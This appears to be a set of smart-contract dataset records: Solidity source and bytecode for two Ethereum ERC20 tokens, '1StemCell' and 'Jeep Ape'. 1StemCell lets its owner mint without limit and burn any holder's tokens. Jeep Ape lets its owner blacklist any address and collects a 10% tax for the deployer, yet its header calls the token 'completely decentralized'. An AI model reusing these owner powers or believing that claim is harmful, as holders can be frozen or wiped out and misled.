{decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _name = '1StemCell'; _symbol = '1STEM'; _totalSupply= 10000000000 *(10**decimals()); _balances[owner()]=_totalSupply; emit Transfer(address(0),owner(),_totalSupply); } /** * @dev Returns the name of the token. * */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function mint(address account, uint256 amount) public onlyOwner{ _mint( account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function Burn(address account, uint256 amount) public onlyOwner { _burn( account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb14610209578063cc16f5db1461021c578063dd62ed3e1461022f578063f2fde38b1461026857600080fd5b8063715018a6146101cb5780638da5cb5b146101d357806395d89b41146101ee578063a457c2d7146101f657600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806340c10f191461018d57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61027b565b60405161011a9190610c93565b60405180910390f35b610136610131366004610c69565b61030d565b604051901515815260200161011a565b6003545b60405190815260200161011a565b610136610166366004610c2d565b610323565b6040516009815260200161011a565b610136610188366004610c69565b6103d9565b6101a061019b366004610c69565b610410565b005b61014a6101b0366004610bd8565b6001600160a01b031660009081526001602052604090205490565b6101a0610448565b6000546040516001600160a01b03909116815260200161011a565b61010d6104bc565b610136610204366004610c69565b6104cb565b610136610217366004610c69565b610566565b6101a061022a366004610c69565b610573565b61014a61023d366004610bfa565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101a0610276366004610bd8565b6105a7565b60606004805461028a90610d4c565b80601f01602080910402602001604051908101604052809291908181526020018280546102b690610d4c565b80156103035780601f106102d857610100808354040283529160200191610303565b820191906000526020600020905b8154815290600101906020018083116102e657829003601f168201915b5050505050905090565b600061031a338484610691565b50600192915050565b60006103308484846107b6565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156103ba5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ce85336103c98685610d35565b610691565b506001949350505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161031a9185906103c9908690610d1d565b6000546001600160a01b0316331461043a5760405162461bcd60e51b81526004016103b190610ce8565b610444828261098e565b5050565b6000546001600160a01b031633146104725760405162461bcd60e51b81526004016103b190610ce8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606005805461028a90610d4c565b3360009081526002602090815260408083206001600160a01b03861684529091528120548281101561054d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b1565b61055c33856103c98685610d35565b5060019392505050565b600061031a3384846107b6565b6000546001600160a01b0316331461059d5760405162461bcd60e51b81526004016103b190610ce8565b6104448282610a6d565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016103b190610ce8565b6001600160a01b0381166106365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103b1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106f35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b1565b6001600160a01b0382166107545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661081a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b1565b6001600160a01b03821661087c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b1565b6001600160a01b038316600090815260016020526040902054818110156108f45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b1565b6108fe8282610d35565b6001600160a01b038086166000908152600160205260408082209390935590851681529081208054849290610934908490610d1d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161098091815260200190565b60405180910390a350505050565b6001600160a01b0382166109e45760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016103b1565b80600360008282546109f69190610d1d565b90915550506001600160a01b03821660009081526001602052604081208054839290610a23908490610d1d565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b038216610acd5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103b1565b6001600160a01b03821660009081526001602052604090205481811015610b415760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016103b1565b610b4b8282610d35565b6001600160a01b03841660009081526001602052604081209190915560038054849290610b79908490610d35565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016107a9565b80356001600160a01b0381168114610bd357600080fd5b919050565b600060208284031215610bea57600080fd5b610bf382610bbc565b9392505050565b60008060408385031215610c0d57600080fd5b610c1683610bbc565b9150610c2460208401610bbc565b90509250929050565b600080600060608486031215610c4257600080fd5b610c4b84610bbc565b9250610c5960208501610bbc565b9150604084013590509250925092565b60008060408385031215610c7c57600080fd5b610c8583610bbc565b946020939093013593505050565b600060208083528351808285015260005b81811015610cc057858101830151858201604001528201610ca4565b81811115610cd2576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610d3057610d30610d87565b500190565b600082821015610d4757610d47610d87565b500390565b600181811c90821680610d6057607f821691505b60208210811415610d8157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220cbfa2f1a967abbe8c8a273cfbe6f062e4480a7f768276ee8cc08213aaca298bc64736f6c63430008060033
{"success": true, "error": null, "results": {}}
528
0xbea5644bd840617b35a2b10503b326dd5c37a894
//SPDX-License-Identifier: MIT /** Jeep Ape fixes everything Jeep Ape is a completely decentralized, community driven token rolling into the Ethereum Blockchain. Our foundation is built around DeFi principles, and delivered with complete transparency. Our goal is to be soon used as currency to get access to exclusive services, entertainment & unique party favors. All changes, every update, fund allocation, etc will be voted on by the community. Stay Tuned For More Information! Liquidity Will Be Locked Verified Contract Anti-Bot Measures Fair Launch NO Pre-Sale SUPPLY: 2,000,000 MAX TX: 40,000 TAX: 10% Roundtrip (5% buy, 5% sell) TG: https://t.me/jeepape **/ pragma solidity ^0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract JeepApe is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address=>bool) private bots; address private _last; uint256 private _taxFee; address payable private _taxWallet; uint256 public _maxTxAmount; uint256 public _maxWallet; uint256 private _tTotal = 2000000 * 10**18; string private constant _name = "Jeep Ape"; string private constant _symbol = "JEEPAPE"; uint8 private constant _decimals = 18; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _taxFee = 5; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _balance[address(this)] = _tTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(50); _maxWallet=_tTotal.div(10); emit Transfer(address(0x0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); require(_canTrade,"Trading has not started"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 500000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { if(bots_[i]!=address(_uniswap) && bots_[i]!=address(_pair) &&bots_[i]!=address(this)){ bots[bots_[i]] = true; } } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function createUniswapPair() external onlyOwner { _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidity() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; } function startTrading() external onlyOwner{ _canTrade = true; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function removeLimits() public onlyOwner{ _maxWallet=_tTotal; _maxTxAmount=_tTotal; } receive() external payable {} function collectTax() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
0x6080604052600436106101225760003560e01c806370a08231116100a05780638da5cb5b116100645780638da5cb5b1461030957806395d89b4114610331578063a9059cbb14610361578063dd62ed3e14610381578063e8078d94146103c757600080fd5b806370a082311461027d578063715018a6146102b3578063751039fc146102c85780637d1db4a5146102dd57806382247ec0146102f357600080fd5b8063293230b8116100e7578063293230b814610202578063313ce567146102175780633d8705ab146102335780634a131672146102485780636b9990531461025d57600080fd5b8062b8cf2a1461012e57806306fdde0314610150578063095ea7b31461019357806318160ddd146101c357806323b872dd146101e257600080fd5b3661012957005b600080fd5b34801561013a57600080fd5b5061014e61014936600461141c565b6103dc565b005b34801561015c57600080fd5b506040805180820190915260088152674a6565702041706560c01b60208201525b60405161018a91906114e1565b60405180910390f35b34801561019f57600080fd5b506101b36101ae366004611536565b610539565b604051901515815260200161018a565b3480156101cf57600080fd5b50600a545b60405190815260200161018a565b3480156101ee57600080fd5b506101b36101fd366004611562565b610550565b34801561020e57600080fd5b5061014e6105b9565b34801561022357600080fd5b506040516012815260200161018a565b34801561023f57600080fd5b5061014e6105f8565b34801561025457600080fd5b5061014e610605565b34801561026957600080fd5b5061014e6102783660046115a3565b610845565b34801561028957600080fd5b506101d46102983660046115a3565b6001600160a01b031660009081526001602052604090205490565b3480156102bf57600080fd5b5061014e610890565b3480156102d457600080fd5b5061014e610904565b3480156102e957600080fd5b506101d460085481565b3480156102ff57600080fd5b506101d460095481565b34801561031557600080fd5b506000546040516001600160a01b03909116815260200161018a565b34801561033d57600080fd5b506040805180820190915260078152664a45455041504560c81b602082015261017d565b34801561036d57600080fd5b506101b361037c366004611536565b61093b565b34801561038d57600080fd5b506101d461039c3660046115c0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103d357600080fd5b5061014e610948565b6000546001600160a01b0316331461040f5760405162461bcd60e51b8152600401610406906115f9565b60405180910390fd5b60005b815181101561053557600b5482516001600160a01b039091169083908390811061043e5761043e61162e565b60200260200101516001600160a01b03161415801561048f5750600c5482516001600160a01b039091169083908390811061047b5761047b61162e565b60200260200101516001600160a01b031614155b80156104c65750306001600160a01b03168282815181106104b2576104b261162e565b60200260200101516001600160a01b031614155b15610523576001600460008484815181106104e3576104e361162e565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061052d8161165a565b915050610412565b5050565b6000610546338484610aa7565b5060015b92915050565b600061055d848484610bcb565b6105af84336105aa856040518060600160405280602881526020016117c2602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f9e565b610aa7565b5060019392505050565b6000546001600160a01b031633146105e35760405162461bcd60e51b8152600401610406906115f9565b600c805460ff60a01b1916600160a01b179055565b4761060281610fd8565b50565b6000546001600160a01b0316331461062f5760405162461bcd60e51b8152600401610406906115f9565b600b54600a5461064c9130916001600160a01b0390911690610aa7565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c39190611673565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610725573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107499190611673565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610796573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ba9190611673565b600c80546001600160a01b0319166001600160a01b03928316908117909155600b5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610821573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106029190611690565b6000546001600160a01b0316331461086f5760405162461bcd60e51b8152600401610406906115f9565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b8152600401610406906115f9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461092e5760405162461bcd60e51b8152600401610406906115f9565b600a546009819055600855565b6000610546338484610bcb565b6000546001600160a01b031633146109725760405162461bcd60e51b8152600401610406906115f9565b600b546001600160a01b031663f305d71947306109a4816001600160a01b031660009081526001602052604090205490565b6000806109b96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a21573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a4691906116b2565b5050600c805460ff60b01b1916600160b01b17905550565b6000610aa083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611012565b9392505050565b6001600160a01b038316610b095760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610406565b6001600160a01b038216610b6a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610406565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c2f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610406565b6001600160a01b038216610c915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610406565b60008111610cf35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610406565b6001600160a01b03831660009081526004602052604090205460ff1615610d1957600080fd5b6000546001600160a01b03848116911614801590610d4557506000546001600160a01b03838116911614155b15610f3d57600c546001600160a01b038481169116148015610d755750600b546001600160a01b03838116911614155b8015610d9a57506001600160a01b03821660009081526003602052604090205460ff16155b15610ec557600854811115610df15760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610406565b60095481610e14846001600160a01b031660009081526001602052604090205490565b610e1e91906116e0565b1115610e6c5760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a65000000006044820152606401610406565b600c54600160a01b900460ff16610ec55760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720686173206e6f7420737461727465640000000000000000006044820152606401610406565b30600090815260016020526040902054600c54600160a81b900460ff16158015610efd5750600c546001600160a01b03858116911614155b8015610f125750600c54600160b01b900460ff165b15610f3b57610f2081611040565b476706f05b59d3b200008110610f3957610f3947610fd8565b505b505b6001600160a01b038216600090815260036020526040902054610f999084908490849060ff1680610f8657506001600160a01b03871660009081526003602052604090205460ff165b610f92576006546111ba565b60006111ba565b505050565b60008184841115610fc25760405162461bcd60e51b815260040161040691906114e1565b506000610fcf84866116f8565b95945050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610535573d6000803e3d6000fd5b600081836110335760405162461bcd60e51b815260040161040691906114e1565b506000610fcf848661170f565b600c805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110885761108861162e565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111059190611673565b816001815181106111185761111861162e565b6001600160a01b039283166020918202929092010152600b5461113e9130911684610aa7565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611177908590600090869030904290600401611731565b600060405180830381600087803b15801561119157600080fd5b505af11580156111a5573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006111d160646111cb85856112be565b90610a5e565b905060006111df8483611340565b6001600160a01b0387166000908152600160205260409020549091506112059085611340565b6001600160a01b0380881660009081526001602052604080822093909355908716815220546112349082611382565b6001600160a01b0386166000908152600160205260408082209290925530815220546112609083611382565b3060009081526001602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000826000036112d05750600061054a565b60006112dc83856117a2565b9050826112e9858361170f565b14610aa05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610406565b6000610aa083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9e565b60008061138f83856116e0565b905083811015610aa05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610406565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461060257600080fd5b8035611417816113f7565b919050565b6000602080838503121561142f57600080fd5b823567ffffffffffffffff8082111561144757600080fd5b818501915085601f83011261145b57600080fd5b81358181111561146d5761146d6113e1565b8060051b604051601f19603f83011681018181108582111715611492576114926113e1565b6040529182528482019250838101850191888311156114b057600080fd5b938501935b828510156114d5576114c68561140c565b845293850193928501926114b5565b98975050505050505050565b600060208083528351808285015260005b8181101561150e578581018301518582016040015282016114f2565b81811115611520576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561154957600080fd5b8235611554816113f7565b946020939093013593505050565b60008060006060848603121561157757600080fd5b8335611582816113f7565b92506020840135611592816113f7565b929592945050506040919091013590565b6000602082840312156115b557600080fd5b8135610aa0816113f7565b600080604083850312156115d357600080fd5b82356115de816113f7565b915060208301356115ee816113f7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161166c5761166c611644565b5060010190565b60006020828403121561168557600080fd5b8151610aa0816113f7565b6000602082840312156116a257600080fd5b81518015158114610aa057600080fd5b6000806000606084860312156116c757600080fd5b8351925060208401519150604084015190509250925092565b600082198211156116f3576116f3611644565b500190565b60008282101561170a5761170a611644565b500390565b60008261172c57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117815784516001600160a01b03168352938301939183019160010161175c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008160001904831182151516156117bc576117bc611644565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a0e1b16459377da4835a7d62dc7a4052829ed6b634b7